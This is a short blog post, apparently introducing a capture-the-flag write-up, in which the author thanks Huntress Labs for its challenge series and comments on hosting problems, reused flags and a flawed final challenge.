A big thanks to the Huntress Labs team for a great set of challenges. There were a few surprises that came up, such as challenge data being hosted on sites that certain countries could not access. There were a few reused challenges where the flags were unfortunately found in Google searches. However, this is not unusual it is an incredible amount of effort to create this many challenges. Overall, it unfortunately ended like the last seasons of Game of Thrones with a final challenge that stumbled greatly and prevented many, like myself, from finishing. But it was an excellent idea!

We all have our own backgrounds in this industry, career paths, and unique perspectives. Many of my tactics are not the best, even even good, ones. But, I hope there are a few techniques here that may interest others. 

No comments:

Post a Comment